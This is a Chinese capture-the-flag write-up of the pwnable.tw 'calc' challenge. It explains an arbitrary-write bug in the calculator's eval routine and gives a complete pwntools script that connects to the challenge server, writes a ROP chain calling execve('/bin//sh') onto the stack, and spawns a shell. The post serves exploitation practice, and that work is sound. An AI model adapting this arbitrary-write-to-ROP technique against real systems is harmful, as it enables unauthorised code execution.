zoukankan      html  css  js  c++  java
  • pwnable.tw calc

    题目代码量比较大(I is so vegetable:b),找了很久才发现一个能利用的漏洞

    运行之发现是一个计算器的程序,简单测试下发现当输入的操作数超过10位时会有一个整型溢出

    这里调试了一下发现是printf("%d",num[num-1])时要输出的结果超过了2^31,2147483648即0x80000000,所以这应该算是一个bug并不是一个可利用的漏洞(32位程序最大输出2^31的原因是int类型最高位是符号标志位)

    下面我们逆向一下整个程序找到真正可利用的漏洞

    其中get_expr函数在读入时会进行字符的过滤,只会读取+-*/%和数字。可以看到get_expr和parse_expr前都会进行expression和num栈空间清零,这里num记录的是进行parse_expr时数字的总个数

    下面看一下parse_expr函数

    以下根据符号求表达式值过程省略,可以看到get_expr函数进行表达式求值处理的过程也是不存在漏洞的。

    这里真正存在的漏洞是eval中的一个任意地址写的漏洞,我们在calc的返回地址栈空间利用这个任意地址写构造一个ROP即可

    这里最暴力的方法是利用ROPgadget生成ropchain,然后利用eval的任意地址写直接修改内存即可

    from pwn import *
    
    
    
    context.log_level='DEBUG'
    
    r=remote('chall.pwnable.tw',10100)
    
    
    
    r.recv()
    
    
    
    from struct import pack
    
    
    
    # Padding goes here
    
    p = ''
    
    
    
    p += pack('<I', 0x080701aa) # pop edx ; ret
    
    p += pack('<I', 0x080ec060) # @ .data
    
    p += pack('<I', 0x0805c34b) # pop eax ; ret
    
    p += '/bin'
    
    p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
    
    p += pack('<I', 0x080701aa) # pop edx ; ret
    
    p += pack('<I', 0x080ec064) # @ .data + 4
    
    p += pack('<I', 0x0805c34b) # pop eax ; ret
    
    p += '//sh'
    
    p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
    
    p += pack('<I', 0x080701aa) # pop edx ; ret
    
    p += pack('<I', 0x080ec068) # @ .data + 8
    
    p += pack('<I', 0x080550d0) # xor eax, eax ; ret
    
    p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
    
    p += pack('<I', 0x080481d1) # pop ebx ; ret
    
    p += pack('<I', 0x080ec060) # @ .data
    
    p += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret
    
    p += pack('<I', 0x080ec068) # @ .data + 8
    
    p += pack('<I', 0x080ec060) # padding without overwrite ebx
    
    p += pack('<I', 0x080701aa) # pop edx ; ret
    
    p += pack('<I', 0x080ec068) # @ .data + 8
    
    p += pack('<I', 0x080550d0) # xor eax, eax ; ret
    
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    
    p += pack('<I', 0x08049a21) # int 0x80
    
    
    
    def set_val(addr):
    
        r.sendline('+'+str(addr))
    
        val=int(r.recv(100))
    
        if val>0:
    
            r.sendline('+'+str(addr)+'-'+str(val)+'+'+str(u32(p[(addr-361)*4:(addr-361+1)*4])))
    
        else:
    
            r.sendline('+'+str(addr)+'+'+str(-val)+'+'+str(u32(p[(addr-361)*4:(addr-361+1)*4])))
    
        r.recv()
    
    
    
    for i in range(361,361+len(p)/4):
    
        set_val(i)
    
    
    
    r.interactive()
  • 相关阅读:
    Adobe Illustrator CS6 界面文字按钮太小,高分屏win10PS/AI等软件界面字太小解决方法
    暗网,又称深网。据估计,暗网比表面网站大几个数量级。
    HexDump.java解析,android 16进制转换
    excel第一次打开报错 向程序发送命令时出错 多种解决办法含终极解决方法
    小黄人IP营销的四种玩法思维导图
    Window下PHP三种运行方式图文详解,window下的php是不是单进程的?
    全球海底光缆分布图
    redis删除单个key和多个key,ssdb会落地导致重启redis无法清除缓存
    图解人工智能机器学习深度学习的关系和区别
    B轮公司技术问题列表
  • 原文地址:https://www.cnblogs.com/snip3r/p/10402528.html
Copyright © 2011-2022 走看看